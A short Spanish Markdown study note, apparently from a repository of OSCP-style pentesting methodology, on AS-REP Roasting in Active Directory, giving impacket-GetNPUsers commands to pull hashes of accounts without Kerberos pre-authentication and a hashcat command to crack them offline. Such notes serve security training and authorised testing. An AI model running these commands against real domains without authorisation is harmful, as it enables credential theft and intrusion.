7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
22 lines
817 B
Markdown
22 lines
817 B
Markdown
# AS-REP Roasting
|
|
|
|
> Usuarios con **"Do not require Kerberos pre-authentication"** → pides su AS-REP y crackeas el hash, **sin necesitar credenciales**. Camino de Active Directory.
|
|
|
|
## Ataque
|
|
```bash
|
|
# con lista de usuarios (sesión nula / enum previa con SMB):
|
|
impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass -dc-ip IP
|
|
# con credenciales (enumera y pide a la vez):
|
|
impacket-GetNPUsers dominio/usuario:password -request -dc-ip IP
|
|
```
|
|
|
|
## Crackeo offline
|
|
```bash
|
|
hashcat -m 18200 hashes.txt rockyou.txt
|
|
```
|
|
|
|
## Diferencia con Kerberoasting
|
|
- **AS-REP** = usuarios SIN pre-auth → **no necesitas password** para pedir el hash.
|
|
- **Kerberoasting** = cuentas de servicio (SPN) → necesitas una credencial válida.
|
|
|
|
Relacionado: Cracking de contraseñas · Kerberoasting · Kerberos · Impacket · OSCP MOC
|